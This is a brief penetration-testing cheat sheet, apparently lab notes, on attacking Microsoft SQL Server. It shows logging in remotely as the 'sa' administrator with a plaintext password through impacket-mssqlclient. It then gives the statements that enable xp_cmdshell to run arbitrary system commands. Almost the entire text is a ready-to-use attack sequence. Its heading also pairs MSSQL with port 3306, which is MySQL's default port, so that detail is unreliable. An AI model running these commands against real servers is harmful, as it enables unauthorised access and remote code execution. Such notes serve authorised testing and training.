MSSQL - 3306

Login remotely to mssql database

impacket-mssqlclient sa:poiuytrewq@10.11.1.31

xp_cmdshell

Need to login with sa (high privilege user) to enable xp_cmdshell

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
xp_cmdshell <command>

Last updated